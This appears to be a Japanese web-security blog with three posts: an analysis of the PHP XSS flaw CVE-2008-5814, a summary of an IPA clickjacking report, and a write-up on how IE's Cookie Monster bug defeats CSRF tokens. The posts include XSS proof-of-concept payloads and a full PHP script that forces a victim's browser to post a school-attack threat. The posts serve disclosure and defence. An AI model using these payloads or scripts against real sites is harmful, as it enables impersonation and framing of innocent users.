プライバシーポリシー

2013年3月30日土曜日

CVE-2008-5814を巡る冒険

脆弱性情報を見ていると、たまに(しばしば)詳細の不明なものがあります。
先日脆弱性情報を調べていたら、JVN#50327700(CVE-2008-5814)PHP におけるクロスサイトスクリプティングの脆弱性が目にとまりました。CVSS値が2.6なので危険な脆弱性ではなさそうですが、詳細が分からないと気持ちが悪いですね。このエントリでは、CVE-2008-5814について調べた結果を報告します。

JVN iPediaの説明には以下のように書かれています。
概要
PHP には、クロスサイトスクリプティングの脆弱性が存在します。
影響を受けるシステム
PHP 5.2.7 およびそれ以前
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
謝辞
この脆弱性情報は、情報セキュリティ早期警戒パートナーシップに基づき下記の方が IPA に報告し、JPCERT/CC が開発者との調整を行いました。
報告者:インターナショナル・ネットワーク・セキュリティ(株) 佐名木 智貴 氏
佐名木さんの報告なのですね。
display_errors=offの場合は影響を受けないというのが救いです。本番環境でdisplay_errorsが有効というのは「あり得ない」状態なので、対処としては、まずdisplay_errorsを確実にoffにした上で、対策済みのバージョンのPHPを導入することです。PHP5.3以降は問題ないということなので、現在メンテナンスされているバージョンのPHPでは問題ありません。

この脆弱性、発表当時(2008年12月19日)から謎という点が話題になったようで、例えば以下のような記事があります。
■ JVN#50327700 PHP におけるクロスサイトスクリプティングの脆弱性がよくわからない件について
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
の時点でまぁ自分の手元にはほぼ影響ないんですが、該当の記事からのリンク先であるPHPのChangeLogにはそれっぽいのがかいてなくて非常に気持ち悪い思いをしてるわけです。
こまってWassrでつぶやいてみたらますがたさんよりこれじゃないかみたいなレスをもらったけど、Cookieまわりっぽいので、CookieってXSSないとそもそもかきかえられないよなぁ(いや、レンタルサーバとかだといろいろあるけえど)とか悩んでるわけです。で、もし詳細ご存知の人いたら教えてください。
http://d.hatena.ne.jp/cocoiti/20081223より引用
CVEではどうなっているでしょうか。MITREもNVDも同じで、以下のようにあります。
Cross-site scripting (XSS) vulnerability in PHP, possibly 5.2.7 and earlier, when display_errors is enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: because of the lack of details, it is unclear whether this is related to CVE-2006-0208.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5814
攻撃経路不明だし、いろいろ情報不足でよくわかんねーよ、という感じですね。
そこで、MITREやNVDからリンクされているサイトをたどったり、ググったりして以下のサイトを見つけました。

http://anonscm.debian.org/gitweb/?p=pkg-php/php.git;a=commitdiff;h=a71a80d0465f4e82210559c51217f03057c7e028より引用

これだと分かりますね。PHPのソースに戻って確認すると、上記の改修はPHP5.2.6からPHP5.2.7への変更として実施されています。すなわち、影響を受けるシステムにPHP5.2.7以前となっているのは誤りで、PHP5.2.6以前が正しいようです。
具体的には、Cookieの名前あるいは値にCookieとして使えない文字(空白、カンマ、セミコロン、水平タブ、垂直タブ、フォームフィード、改行、復帰)があった場合に、PHP-5.2.6以前だと、その文字列を「そのまま」エラーとして表示しているのです(下記)。

  • Cookieの名前の場合は、setcookieまたはsetrawcookieを使っている場合
  • Cookieの値の場合は、setrawcookieを使っている場合

このため、以下のコードを実行すると 2, 3, 4 がalertとして表示されます。1の場合は、値がパーセントエンコーディングされるため禁止文字は出現せずエラーになりません。
<?php
  setcookie('a', '<script>alert(1);</script>');
  setrawcookie('a', '<script>alert(2);</script>');
  setcookie('<script>alert(3);</script>', 'a');
  setrawcookie('<script>alert(4);</script>', 'a');
この脆弱性を悪用するためには、Cookieの名前か値を外部からコントロールする必要がありますが、通常のアプリケーションではCookieの名前をコントロールすることはできないので、setrawcookieを使って、外部からの入力をCookieに出力している場合が問題になると考えられます。
脆弱なコードの例を以下に示します。display_errors=Onが前提です。
<?php
  setrawcookie('a', $_GET['x']);
以下のように呼び出します。
http://example.jp/x.php?x=<script>alert(1);</script>

実行例は以下の通りです。IEやGoogle ChromeだとXSSフィルタによりJavaScriptは実行されないので、Firefoxにて試しています。


さて、ようやくCVE-2008-5814による攻撃を試すことができました。脆弱性の影響を受ける条件は以下となります。
  • PHP5.2.6以下を使っている
  • display_errorsが有効
  • 以下のいずれか
    • setrawcookieにより外部からコントロールできる文字例をCookieの値として出力している
    • setcookieかsetrawcookieにより外部からコントロールできる文字例をCookieの名前として出力している
対処は下記となります。全部実施を推奨します。
  • PHPの最新の安定版を使う(必須)
  • display_errorsを無効にする(必須)
  • Cookieの出力にはsetcookie関数を使う
  • Cookieの名前は外部から指定できなくする
さて、display_errorが仮に有効になっている場合、最新のPHPを使っていてもクロスサイト・スクリプティング(XSS)になるケースはあります。これについては別途紹介します。

2013年3月29日金曜日

IPAから「クリックジャッキング」に関するレポート出ました

Webアプリケーションのセキュリティの分野で「新しい攻撃手法」は実はそれほど多くないのですが、比較的新しく対応が求められているものとしてクリックジャッキングがあります。クリックジャッキングは、CSRFと同じように「Webアプリケーションのサーバー側機能」を利用者(被害者)に実行させる手法です。CSRFは、当該機能を実行するHTTPリクエストを送信させる罠を使いますが、クリックジャッキングの方は、iframe等に当該機能を呼び出す画面を表示しておき、利用者(被害者)に実行ボタンを押させる(=クリックジャック)手法です。クリックジャッキングに関しては従来詳しい解説がありませんでしたが、この3月26日にIPAから「クリックジャッキング」に関するレポートが公開されました。
このレポートから、クリックジャッキングのイメージを示す図4を引用します。
サイトAが攻撃対象のサイト、悪意のあるページは罠になります。これらのページはiframe等に入れられ、さらにサイトAはCSSにより透明に設定され、利用者には見えません。この「見えない攻撃対象のページ」をOHPフィルムのように罠ページに重ねたものが上図のイメージです。
このままでは攻撃は成立せず、利用者(被害者)にラジオボタンと「情報更新」ボタンをクリックしてもらう必要があります。巧妙な誘導により、上図の①と②をクリックさせる手法がクリックジャッキングです。利用者は罠サイトの①と②をクリックしているつもりですが、実際にクリックされるのは手前側に配置された(見えない)サイトAのボタンです。これにより、利用者は意図しない画面操作をさせられてしまいます。

さて、クリックジャッキングは新しいと言っても2008年のOWASPでの発表で、専門家には広く知られるようになっていましたが、当時は確実な対策方法がありませんでした。2009年にMicrosoftからX-FRAME-OPTIONSというレスポンスヘッダを用いる方法が提唱されるとともにIE8に実装され、その後主要なブラウザ(Firefox、Google Chrome、Safari、Opera)がX-FRAME-OPTIONSを採用するようになり、確実な対策が取れるようになりました(もっとも、「本家」MicrosoftのIE6とIE7がX-FRAME-OPTIONSに対応していないという問題があります)。以下に、IPAレポートの表1を引用します。


X-FRAME-OPTIONSによるクリックジャッキング対策は、ブラウザ側の対応だけではなく、Webアプリケーション側で適切なX-FRAME-OPTIONSヘッダを送信する必要があります。クリックジャッキングの知名度はまだまだ低く、IPAの「クリックジャッキングに関するレポート」では、この調査結果を載せています。日本人向けに提供されている56のWebサイトを調べた結果、わずか3サイトのみがX-FRAME-OPTIONSヘッダを用いていたという結果です。以下に同レポートから図5を引用します。


IPAは調査対象のサイト名を公開していませんが、例えばtwitterはX-FRAME-OPTIONSを送信している数少ないサイトの一つです。
最近もtwitterで犯行予告をした青年が逮捕されるという事件がありましたが、なりすましで犯行予告されると大変困ります。twitterはCSRFに加えて、クリックジャッキングにも対策しているということです。

ここで、「利用者はボタンをクリックするだけなのに犯行予告までできてしまうの?」という疑問が生じるかもしれませんね。でも、(対策していないと)できてしまうのです。twitterには、サイト側が用意した発言を利用者に求める機能があります。たとえば、このリンクをクリックすると、以下のような表示になります。


このままではツイートまではしない(ツイートしてしまったらCSRF脆弱性です)のですが、利用者が「ツイート」というボタンをクリックすると、上記テキストが、ボタンをクリックした利用者の発言としてツイートされます。クリックジャッキングにより、これを勝手にやられると困ります。
しかし、twitterはX-FRAME-OPTIONSヘッダを送信しているので、上記をiframeに入れて罠を作ろうとすると、下記のような表示になります(IE9の例)。


これにより、なりすまし投稿を防いでいるわけですね。

さて、IPAのクリックジャッキングに関するレポートには、X-FRAME-OPTIONSの詳しい説明の他、CSP(Content Security Policy)や、JavaScriptによる対策方法も示しています。たとえば、CSPでクリックジャッキングを防ぐ例としては以下が紹介されています(Firefox向けの書き方)。
X-Content-Security-Policy: allow 'self'; frame-ancestors *.ipa.go.jp *.meti.go.jp
上記は、このヘッダを送信しているページは、ipa.go.jpとmeti.go.jp(経産省)のサブドメインのiframeにのみ入れることができるという意味です。従って、罠サイトのiframeに入れようとすると、前述のようなエラーになるはずです…
ところが実際には、期待通りには動きません。これはFirefoxの既知の脆弱性のようで、最新版
Firefox19.0.2ではCSPのホスト式にワイルドカードを指定した場合、式の内容に関係なく「全てのホストが対象」となってしまいます。すなわち、前述の例はIPAと経産省だけでなく、世界中のどのホストのiframeにも入れていいよ、という動作になります…これは酷い脆弱性ですが、それほど話題になっていないのは、Content Security Policyがまだ普及していないからだと思います。

ということは分かっていたのですが、Firefox 20βでは修正されているようですし、CSPによる方法は残念ながらクリックジャッキング対策の(当面の)本命ではないので、冊子ではFirefoxの脆弱性については触れていません。なぜ本命でないかは、IPAの冊子をお読みください。

なお、徳丸はIPA非常勤研究員として、同冊子のレビュアーという形で参画していますが、このエントリは個人の見解として書いているものであり、IPAとしての見解ではないことを付記いたします。

2013年3月1日金曜日

クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される

日経Linux 2013年1月号に「“誤認逮捕”を防ぐWebセキュリティ強化術」を書き、それが今週4回連載で、ITproに転載されました。この中で、クロスサイトリクエストフォージェリ(CSRF)対策について説明しましたが、クッキーモンスターバグ(Cookie Monster Bug)がある場合に対策が回避されることに気がつきました。
それでは、どのような対策が望ましいかを考えてみると、中々難しい問題です。以下、その内容について検討します。

解決すべき課題の整理

記事の趣旨は、昨年無実の市民のパソコンからCSRFによる犯行予告が横浜市のサイトに書き込まれたことを受けて、サイト側でCSRF対策をして、なりすまし書き込みができないようにしようというものです。なりすましの犯行予告には、CSRFのほか、マルウェアを用いる方法、CSRF以外のWebサイトへの攻撃手法もあるので、CSRF対策だけで十分というわけではありませんが、現実に悪用されたCSRFの対策は、できるだけ実施した方がよいと考えます。

ここで、対策例のスクリプトを以下に示します。これはCSRF対策としては標準的な方法で、乱数により生成したトークンをセッション変数とhiddenパラメータにセットして、投稿処理側で両者を比較することで、CSRF攻撃に対処しています。

以下は入力フォームです。デモ環境はこちら
<?php // form.php 入力フォーム
  session_start();
  // トークンがセッションになければトークンを生成してセッションに保存
  if (! isset($_SESSION['token'])) {
    $rand = file_get_contents('/dev/urandom', false, NULL, 0, 24);
    $token = base64_encode($rand);
    $_SESSION['token'] = $token;
  } else {
    $token = $_SESSION['token'];
  }
?>
<body>
  投稿して下さい
  <form action="post.php" method="POST">
  <input name=body>
  <input type="hidden" name="token" value="<?php echo htmlspecialchars($token); ?>">
  <input type=submit>
  </form>
</body>
以下は、入力された投稿を書き込む処理です。処理を簡単にするため、実際には書き込みはせず、書き込み内容を表示しています。
<?php post.php 投稿処理
  session_start();
  // トークンをセッション変数とPOSTパラメータから取得
  $s_token = @$_SESSION['token'];
  $p_token = @$_POST['token'];
  if (! isset($s_token) || $p_token !== $s_token) {
    // トークンが空か、一致していなければエラー
    die('正規の画面からご使用ください');
  }
?>
<body>
投稿されました:<?php echo htmlspecialchars($_POST['body']); ?>
<?php var_dump($_COOKIE); ?>
</body>
CSRF攻撃の罠を用意しましたが、対策が施されているので、「 正規の画面からご使用ください」と表示されます。

クッキーモンスターバグとは

ここでクッキーモンスターバグについて説明します。
クッキーのデフォルト動作では、クッキーをセットしたホスト(FQDN)にのみクッキーが送信されますが、domain属性を指定することにより、クッキー送信するドメインを広げることができます。たとえば、以下のようにdomain=example.jpを指定すると、example.jpのサブドメインのホスト、たとえば、www.example.jpやsub1.example.jpにもfoo=barというクッキーが送信されます。
Set-Cookie: foo=bar; domain=example.jp
それでは、domain=jpと指定すると、JPドメイン名を持つサイト全てにそのクッキーが送信されるかというと、そうではありません。セキュリティ上の理由から、クッキー設定時のdomain指定が制限されているからです。
しかし、ブラウザによっては、この制限が期待した通りにならない場合があります。有名な例としては、地域型JPドメイン名と都道府県型JPドメイン名において、Internet Explorerが正しくdomainの制限を掛けてないことが知られています。この現象をクッキーモンスタバグ(Cookie Monster Bug)と呼びます。

地域型JPドメイン名の例1: city.bunkyo.tokyo.jp (東京都文京区のドメイン名)
地域型JPドメイン名の例2: tokumaru.bunkyo.tokyo.jp (筆者の地域型JPドメイン名)
都道府県型JPドメイン名の例: kawaguchi.tokyo.jp (東京都川口区…ではなく筆者がネタ試験用に取得したドメイン名)

上記のいずれにおいても、IEでは、domain=tokyo.jp という指定が有効になります。その結果、例えば、kawaguchi.tokyo.jp上のサイトに罠を仕掛けて、PHPSESSIDという名前のクッキーをセットすると、tokyo.jp以下の地域型JPドメイン名と都道府県型JPドメイン名全てに有効なクッキーを作れてしまうことになります。これは、セッションIDの固定化攻撃(Session Fixation Attack)を受けやすくなることを意味します。

ログイン処理後のセッションIDの固定化攻撃は簡単に対策できる

とはいえ、地域型JPドメイン名と都道府県JPドメイン名のサイトが、ただちにセッションIDの固定化攻撃を受けて、なりすましされるというわけではありません。セッションIDの固定化攻撃には有効な対策があり、ログイン直後にセッションIDを振り直すだけで、なりすましを防ぐことができます。このため、地域型JPドメイン名と都道府県JPドメイン名は、Webセキュリティの観点からは「できれば避けたほうが良い」というレベルであり、「絶対に使ってはいけない」というものではありません。

ログイン前のセッションIDの固定化攻撃は対策が難しい

ログイン前セッションIDの固定化攻撃というものがあります。文字通り、ログイン前の状態でセッションIDの固定化攻撃をするもので、2006年10月に高木浩光氏がブログ記事「ログイン前Session Fixationをどうするか」で解説されています。詳しくはこの記事をお読みいただくとして、高木浩光氏は、以下の二種類の対策を検討されています。
  • ページごとにセッションIDを振り直す
  • セッションではなくhiddenパラメータにより入力値を引き回す
このうち、高木氏はhiddenパラメータを推奨されています。私も一般論としてはこれに同意しますが、CSRF対策では、この方法は使えません。これについて以下説明します。

CSRFとセッションIDの固定化攻撃

通常のセッションIDの固定化攻撃は以下の流れによります。
  • 攻撃者はログイン前のセッションIDを用意して、クッキーモンスターバグなどにより、これを被害者のブラウザにセットする
  • 被害者が攻撃対象サイトでログインする
  • 攻撃者は、元のセッションIDを「知っている」ので、ログイン状態のセッションを盗むことができる
ところが、冒頭に説明した「CSRF対策」の場合は、以下の手順が成立してしまいます。
  • 攻撃者は入力フォーム(form.php)を閲覧する
  • この状態でクッキーの値とhiddenのトークンの値を調べる
  • 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
  • クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
上記が成立することを現実の地域型JPドメイン名と都道府県型JPドメイン名のサイトを用いて確認しました。以下に、攻撃スクリプトを示します。
<?php
// cURLの初期化
$ch = curl_init('http://tokumaru.bunkyo.tokyo.jp/form.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 結果を文字列で取得
curl_setopt($ch, CURLOPT_HEADER, true); // ヘッダも取得
// User-Agentを被害者のものに合わせる
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$str = curl_exec($ch); // HTTPリクエスト要求
curl_close($ch);
// セッションIDとトークンを切り出し
preg_match('/PHPSESSID=([a-z0-9]+);/i', $str, $match);
$sessid = $match[1];
preg_match('/name="token" value="([=+\/a-z0-9]+)"/i', $str, $match);
$token = $match[1];
// 被害者のブラウザにセッションIDを domain=tokyo.jp でセット
setcookie('PHPSESSID', $sessid, 0, '/', 'tokyo.jp');
?>
<body>
<form action="http://tokumaru.bunkyo.tokyo.jp/post.php" method="POST">
<input name="body" value="○○小学校を襲撃します"><br>
<input name="token" value="<?php echo $token; ?>"><br>
<input type="submit" value="ボタンを押して下さい"><br>
PHPSESSID = <?php echo $sessid; ?>
</form>
</body>
このスクリプトを動かす環境を用意しました。こちらから、IEで試して下さい。

認証がある場合のCSRF対策とはどこが違うか

ここで疑問が生じます。私が紹介したCSRF対策のスクリプトは、標準的な対策手法を用いているはずでした。それなのに、なぜ、対策を回避されたのでしょうか。それとも、クッキーモンスターバグがあると、常にCSRF対策まで回避されるのでしょうか?

そうではありません。通常のCSRF対策は、被害者のログインアカウントの悪用を避ける事が目的です。例えば、誰かが私にCSRF攻撃をしかけ、私のtwitterアカウントでハレンチな書き込みをさせられると、私は大変困ります。私のtwitterアカウントは公開されているので、「徳丸が変なことをつぶやいた」となるからです。
しかし、ログイン機能のあるサイトでも、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトなら以下の手順で「IPアドレスを偽装」することならば可能です。
  • 攻撃者は攻撃対象サイトに自分のアカウントでログインする
  • この状態でクッキーの値とhiddenのトークンの値を調べる
  • 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
  • クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
最初のステップ以外は、ログインがない場合と全て同じです。この攻撃の場合、被害者は、攻撃者の用意したアカウント上で投稿をすることになりますが、投稿時のIPアドレスは被害者の端末のものです。アカウントから「容疑者」を割り出せない場合、捜査当局はやはり、「投稿時のIPアドレス」を用いて捜査する可能性が高いと予想します。

すなわち、クッキーモンスターバグがある条件では、トークンを用いたCSRF対策をしていても、「IPアドレスを偽装したなりすまし犯行予告」は防げないことになります。その条件とは、主に以下の両方が成立する場合です。
  • 地域型JPドメイン名または都道府県型JPドメイン名上にサイトがある
  • 利用者がIEを使っている

FAQ

Q1: 入力フォームでセッションIDを振り直せばよいのでは?
A1: ダメです。攻撃者が取得するクッキーは、振り直された後のクッキーです。振りなおしても効果はありません。

Q2: ページごとにセッションIDを振りなおしてもダメ?
A2: Q1と同じ理由でダメです。

Q3: ページ毎にセッションIDを振り直す方式は高木浩光氏が(一応)大丈夫と言っているのに、なぜダメなの?
A3: 通常のセッションIDの固定化攻撃は、被害者がログインなどの操作をした後に、そのセッションIDを使って攻撃者がブラウザするものです。今回説明した方法は、攻撃者がお膳立てしたセッションのクッキーを用いて、リクエスト一発で攻撃が成立するところが違います。

Q4: リクエスト一発ですまないように、途中で確認画面をはさんでもダメ?
A4: 確認画面まで攻撃者が遷移した後に、前記の攻撃をしかけるので、結局「リクエスト一発」です。

Q5: CAPTCHAによるCSRF攻撃対策でもだめ?
A5: 攻撃者はCAPTCHAを解いて、その正答をPOSTリクエストに含めることができます。正答はセッションの保存されていますが、クッキーモンスターバグにより、攻撃者と同じ「CAPTCHAの正答」が被害者のブラウザに再現されるため、CAPTCHAでも防げません。※分かりにくかったので加筆修正しましたCAPTCHAの状態はセッションに記憶するので、結局同じです

※追記その2
twitterで@nihen さんからご指摘いただきました。現在の「罠」は全自動ですが、CAPTCHAがあると手動の部分が入るので、攻撃はしにくくなり、攻撃の成功確率を下げる工夫も可能です。したがって、CAPTCHAは、完全とは言えないにしても、攻撃抑止の効果はあります。


Q6: PHPのSession Adoptionのせいではないのか?
A6: 攻撃の流れで正規のセッションIDを取得して使うので、Session Adoptionは関係ありません

Q7: ワンタイムトークンにしたら防げないの?
A7: トークンは別のところで使っていないので、ワンタイムトークンでも同じです。強いて言えば、「2番目に罠に掛かった人」には攻撃は成立しなくなりますが、攻撃者にとってはかえって好都合と言えます。同じ内容を何人もが書き込んでいると不自然だからです。

Q8: Refererによる対策はダメ?
A8: Refererによる対策は有効です。参考:リファラとCSRF対策の話

Q9: 今回の事件の現場となった横浜市「市民からの提案」サイトにもこの問題があるの?
A9: 横浜市のサイトは.LG.JPドメイン名なので、クッキーモンスターバグがありません。また、トークンではなく、Refererによる対策を施しているようです。従って、ここで紹介している問題には該当しません。

では、どうすればよいのか

地方公共団体のWebサイトの多くが地域型JPドメイン名上にあるので、上記に該当するサイトは多そうです。
以下、対策に役立つ可能性のあるアイデアを列記します。
  • RefererによるCSRF対策をする
  • 地域型JPドメイン名からLG.JPドメイン名に移行する
  • トークン生成と書き込みページのリモートIPアドレスを比較して、違っていたらエラーにする
  • 書き込み実行時のIPアドレスに加えて、トークン生成時のIPアドレスも記録する
  • 犯行予告など無視する
  • IPアドレスを一切記録しない
  • 例えば、IEを避ける(参考: 例えば、PHPを避ける
  • Microsoft社に運動してクッキーモンスターバグを修正してもらう
このうち、RefererによるCSRF対策は、Refererをオフにしている利用者が投稿機能を利用できなくなるという副作用がありますが、地方公共団体などに限れば、許容出来るかもしれません。たとえば普段はOperaでRefererをオフにしてブラウズしている利用者にも、市役所等に投稿する場合などに限り別のブラウザ(例えばGoogle Chrome)を使ってもらう、などです。しかし、それを言うなら、普段IEを使っている利用者に、市役所のサイトに投稿する時だけ別のブラウザを使ってもらってもよいことになります(この場合は、IEからの書き込みをチェックしてエラーにする必要があります)。

トークン生成と書き込みページのリモートIPアドレス(ブラウザのIPアドレス)を比較して、違っていたらエラーにするという方法は、CSRF攻撃の際に、攻撃者が被害者とは別のIPアドレスで投稿フォームを参照する性質を利用したものです。攻撃者が、被害者と同じIPアドレスを使えるのであれば、わざわざCSRFを使う必要はありません。この方法の副作用は、通常の利用であってもリモートIPアドレスが変化する場合があり、投稿を拒否されてしまうことです。一般的には、許容されない方法と言えます。

トークン生成時のIPアドレスを記録する(投稿とトークン生成時のIPアドレスを紐付けて保存する)という方法は、副作用が少なく実現も容易ですが、なりすましの犯行予告自体はできてしまうとろこが悩ましいところです。

このようなさまざまな「対策」には副作用もあるので、長期的には、地方公共団体等は地域型JPドメイン名から、LG.JPドメイン名に移行することが望ましいと考えます。

まとめ

なりすまし犯行予告に備えて、投稿サイトにCSRF対策を施すケースが多くなると考えられますが、地域型JPドメイン名とIEの組み合わせなど、クッキーモンスターバグのある状態では、トークンによる標準的な対策が回避されることを示しました。
この攻撃は、攻撃者が投稿ボタンをクリックした際に送信されるリクエストを、被害者のブラウザ上から送信させるものです。通常のCSRFでは、クエリ文字列、POSTパラメータを攻撃者が自由に設定できますが、クッキーモンスターバグがあると、攻撃者はクッキーも被害者のブラウザ上で設定できます。つまり、クエリ文字列、POSTパラメータ、クッキー *以外の* 方法で、通常のリクエストと攻撃を区別しなければなりません。この目的で使えるリクエストヘッダは、Refererだけだと考えますが、Refererを使う対策には副作用もあります。リモートIPアドレスも使えますが、やはり副作用があります。(2013/3/1 11:00 このパラグラフ追記)
このエントリでは、問題の報告と対策案の大まかな検討に止めましたので、今後の活発な議論を期待します。